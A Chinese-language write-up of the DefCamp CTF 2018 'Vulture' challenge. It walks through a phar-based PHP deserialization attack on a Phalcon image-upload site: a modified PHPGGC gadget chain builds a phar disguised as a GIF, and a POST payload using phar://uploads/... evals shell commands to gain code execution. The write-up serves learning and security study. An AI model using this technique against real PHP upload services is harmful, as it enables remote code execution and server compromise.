Defcamp(DCTF) 2018-Vulture phar反序列化攻击

前言

  这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行PHP反序列化攻击。

We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :)
Target: https://vulture.dctfq18.def.camp/
Author: Anatol

  打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。

  经过测试后发现如果选择不存在的图片时会报Image not found的错误。所以这里很有可能使用了file_exists去检查文件是否存在。







  在知道创宇的一篇文章中提到过利用phar进行反序列化攻击的例子(这里不再赘述,建议直接看原文。)。而他的利用条件是:



  在这道题中,题目的环境都满足利用条件。

  在利用反序列化过程中需要找好可以任意代码执行的类,很显然,以目前的条件我们还得不到这样一个类。

  当我们尝试访问一个不存在的页面时会爆出如下错误:
1
Exception: xxxController handler class cannot be loaded





  Google后可以发现这是一个叫Phalcon的PHP framework,而网上还有一个利器PHPGGC: PHP Generic Gadget Chains,它可以为我们生成ROP Gadget,类似于pwn。
1
项目地址:https://github.com/ambionics/phpggc


  而这个项目里就含有这个框架的gadget。



  接下来我们修改gadgetchains/Phalcon/RCE/1/chain.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

namespace GadgetChain\Phalcon;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public $version = '<= 1.2.2';
public $vector = '__wakeup';
public $author = 'Raz0r';
public $informations = '
This chain does not expect parameters, will eval() any code supplied in
php://input (i.e. POST data). Requires allow_url_include = true.
';

# No parameters expected
public $parameters = [];

public function generate(array $parameters)
{
@unlink('phar.phar');
$p = new \Phar('phar.phar');
$p->startBuffering();
$p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
$p->addFromString("test.txt", "test");
$p->setMetadata(new \Phalcon\Logger\Adapter\File());
$p->stopBuffering();
return new \Phalcon\Logger\Adapter\File();
}
}


  使用./phpggc Phalcon/RCE1得到exp:






  可以看到生成的phar文件变成了GIF。我们将这个文件上传上去:



  这里注意到结果是false但这并不影响我们使用,实际上已经上传成功了。

  接着根据phpggc的提示:
1
2
This chain does not expect parameters, will eval() any code supplied in
php://input (i.e. POST data). Requires allow_url_include = true.


  所以我们只需在post body里写命令执行的代码即可:
1
2
<?php die(`ls -la`);
/*&image=phar://uploads/5bb0ca3725e63.gif&text=123





  这里注意需要在image的前面加&,不然会造成错误。接着我们直接cat flag即可。


参考链接

  https://paper.seebug.org/680/

  https://cyku.tw/ctf-defcamp-qualification-2018/
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×